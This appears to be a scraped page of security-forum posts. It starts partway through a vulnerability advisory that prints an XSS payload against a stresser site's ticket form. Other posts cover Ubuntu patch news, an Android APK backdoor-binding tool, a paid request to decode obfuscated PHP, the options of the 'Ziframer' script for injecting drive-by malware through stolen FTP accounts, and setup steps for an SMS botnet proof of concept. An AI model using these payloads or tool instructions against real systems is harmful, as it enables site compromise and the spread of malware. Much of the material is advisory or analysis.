charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[http://lizardstresser.su/tickets] Content-Length[324] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] POST-Daten: title2[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] code[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] content[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] hash[JMX02SbuIwklRiGPAVDgeOC5nTs41xFp] Response Header: Date[Tue, 20 Jan 2015 10:30:54 GMT] Content-Type[text/html] Transfer-Encoding[chunked] Connection[keep-alive] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Server[cloudflare-nginx] CF-RAY[1aba996d3d7115b3-FRA] Content-Encoding[gzip] Reference(s): http://lizardstresser.su/ajax/addticket.php Credits & Authors: ================== Vulnerability Laboratory [Research Team] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source
  20. Ubuntu has released a number of patches for security vulnerabilities in several versions of the OS, including some remote code execution flaws in Thunderbird, which is included with Ubuntu. Thunderbird is Mozilla’s email client, and the company recently fixed several memory corruption vulnerabilities, along with a cross-site request forgery bug and a flaw that could lead to a session-fixation attack. “If a user were tricked in to opening a specially crafted message with scripting enabled, an attacker could potentially exploit these to cause a denial of service via application crash, or execute arbitrary code with the privileges of the user invoking Thunderbird,” the Ubuntu advisory says, referring to the memory corruption vulnerabilities. The CSRF weakness in Thunderbird could be exploited if an attacker can get a user to open a malicious message while scripting is enabled. The session-fixation attack could occur under some circumstances if a user is connected to a malicious web proxy. In addition to the Thunderbird vulnerabilities, there are also patches for several other flaws in Ubuntu. One of the patches fixes a bug in libssh that could cause a denial of service. “It was discovered that libssh incorrectly handled certain kexinit packets. A remote attacker could possibly use this issue to cause libssh to crash, resulting in a denial of service,” the advisory says. There are also two vulnerabilities in the RPM package that could let a local attacker execute arbitrary code and a bug in libevent that could allow code execution in some cases. “Andrew Bartlett discovered that libevent incorrectly handled large inputs to the evbuffer API. A remote attacker could possibly use this issue with an application that uses libevent to cause a denial of service, or possibly execute arbitrary code,” the Ubuntu advisory says. Source
  21. apk_binder_script allows us to unify two apk’s in one or add a service apk smali code to the target. This copy smali code, active and manifest. Implements a receiver acting loader loading the class specified as a parameter (a service). The original application is normally run in parallel, the service is invoked by the loader based on two events: android.intent.action.BOOT_COMPLETED android.intent.action.ACTION_POWER_CONNECTED You can add actions and permissions as desired. In short, allows us to “extend” the functionality of a apk, doors implement “administrative” etc. Download: https://github.com/funsecurity/apk_binder_script
  22. Am fisierul acesta: <?php //0046a if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.basename($__ln).' to be installed by the website operator. If you are the website operator please use the <a href="http://www.ioncube.com/lw/">ionCube Loader Wizard</a> to assist with installation.');exit(199); ?> HR+cPxY0MP67EgAcMcVCijBn675SDZv5nGjYJ+06miHOXTJXp2PlHAqCZLvZG0/GvzyquKyxpHee famdBrRa+iXFZXEyLsJOC9yBWA2EDQB+N2bCwUpLoxStoIcCHv41YLk0hHpUdJLv7XnZRLARuRKU gOFLZvjke77dURT00U0iAwHaqDyEUKmQlgRQ3ZvE/d7HugP5BAcg9thRnEmw3Vk66+zFE/aMLN53 A9Zs7I92uVML+oXpE9KGK+jRUjQBcuSPBZ7B8fDR2VwCDk73zuXfFwSBbAFxe+YzTnnhJTf5ocFZ ksjr+JqRLgD1G8+YwHSmanxWSBNt1cXdLzn6/qP1w58LsPXoFQRCKs5OWMwR/qAa+KXShGnxQooB Ig9Y+7fpjwo/MmMPbOdRDpQ1R5szRroBBf/xFSEBfLKfAPFt2kmh3EdGm5/vRdaMx7Y7Ka1Piepu SSOgmPeQOHIwbdU9JWXxIBExW+0b5MfPOgiLtwGxE+enBn0G06KSEhEllEv9nl+Ce5gHOwhAW5Gn http://pastebin.com/SSigfdAM - tot codul Poate cineva sa mi-l decodeze contra cost?
  23. An Iframer is a script which is used to test stolen FTP accounts and inject malicious code into web pages. If an FTP account is valid, the Iframer automaticly puts an Drive-by infection on the specified html, php or asp files. In this case the Iframer is a PHP-script which is used to spread a variant of ZeuS (aka Zbot/WSNPoem). The Iframer is called “Ziframer” and is sold for 30$. The PHP script can bee launched via command line or accessed using a web browser: The script is very simple and just needs a list of FTP accounts which the script should check. As you can see on the screenshot above, the input file (ftp.txt) currently contains more then 18’000 stolen FTP credentials: In the file “iframe.txt” the attacker can define the (JavaScript- or HTML-) code he would like to inject: The cyberciminal has also the possibility to set a timeout, a file where the script will report invalid FTP credentials (bad.txt) and a file which will collect valid FTP credentials (good.txt). The screenshot below shows you the script while working through the list of stolen FTP credentials (ftp.txt): Last but not least the attacker has to define where he wants to put the malicious code. He has the following options: start page – Inject the code at the top of the page end – Inject the code at the bottom of the page change – Replace a text or a string in the page with the malicious code check – Check if the malicious code is already on the page Now the cybercriminal has just to press the “START” button to run the script. The Iframer script will now get through the FTP accounts and inject the malicious code which is defined in the file “iframe.txt” (see this one). To make the use of the script more user friendly, the script has a readme file which describes the usage of the script in russian and english. Content of readme.html (english): This script is designed to test the FTP accounts on the validity, insert the code into files on the FTP. [Features] [*] Console and Web interface [*] Stabilno runs under Windows and Nix BSD [*] Check for validity ftp [*] Paste the Code (at the beginning or end of file. Or a full overwrite the file to your text – defeys) [*] Strange Komentirovanie iframe’ov [*] Convenience logs [*] All akki (valid \ invalid) remain in the database. [*] The names of files, to insert the code can be set regExp’om, such as index \ .(.*)[_ b] or [_b ](.*). php | html | asp | htm. [*] It takes on all the folders on the site. [*] Function update replaces your old code to the new (for example, changed the addresses fryma) [Run] [!] Recommend to use the console interface Windows Open a console (Start-> Run-> cmd) Write to the path to php.exe for example c: \ php \ php.exe then write the path to the script (zifr.php) For example the so-c: \ php \ php.exe D: \ soft \ ziframer \ zifr.php the script will run and display a certificate. * NIX Open the console / ssh Write to php then write the path to the script (zifr.php) For example the so-php / home / user / soft / ziframer / zifr.php the script will run and display a certificate. [Options] -file -f Path to the file to your FTP -code -c path to a file with code introduced -inject -i Where vstavlt code three options start – top of the page end – in the bottom of the page change – replace the text in the page code -time -t Timeout for connecting to the FTP -del -d With this option chyuzhye ifremy komentiruyutsya -update -u Update your code with this option, the script ishet inserted your code and replaces it with a new -good -g file where badat skladyvatsya working FTP -bad -b file where badat skladyvatsya not working FTP -hide -h If you enable this option, your code will not markerovatsya but you will not be able to use the function update -restore -r Continue from the last FTP if you had not had time to do the whole list you can start from where you stopped Conclusion The Ziframe script is very simple an cheap. Even a n00b is able to use it. It also demonstrates how efficiently and easily cybercriminals can distribute their malicious code to tremendous numbers of stolen FTP accounts. Automated mechanisms like this one shows how infection vectors are more and more shifted from E-mails with malicious attachments to Drive-by. The modular approach allows the cybercriminal to feed the script with different lists of compromised accounts that can be acquired on the underground market. Download Source fuckav.ru
  24. Nu stiu ce s-a intamplat cu telefonul meu..cand il pornesc imi arata o fereastra ENTER LOCK CODE...bag 12345,0000,00000 --nimic nu merge nici unul ( cica este gresit ) .Cum pot sa fac sa il aflu sau sa-l resetez..Mentionez ca telefonul este liber de retea ( nu este codat ).
  25. To avoid detection, this proof-of-concept code utilizes the Short Messaging Service (SMS) as a command & control channel. This adds fault tolerance because, if a smartphone is not available on the GSM network due to being powered off or out of service range, when an SMS message arrives for delivery, the message is queued and delivered by the network. Download the POC code from Here. Compiling instructions are simple and straight forward. Please follow these: Compile with arm-gcc with the -static flag set Copy to anywhere on the underlying OS that is writable (/data/ is good). Rename /dev/smd0/ to /dev/smd0real/ Start the bot application Kill the radio application (ps | grep rild) The radio will automatically respawn and now the bot proxy will be working The PoC code for smartphone botnet C&C over SMS was presented at the Shmooconheld in January 2011. It seems that the author also has it working for the iPhone platform! For sanity purposes, the PoC code has payloads aka commands removed. So what you see in the demo video will need to be added manually. It however does include logging and a local open port for testing to make developing your own payloads easier! Demo video here Sursa: SomeKnowledge.tk
×
×
  • Create New...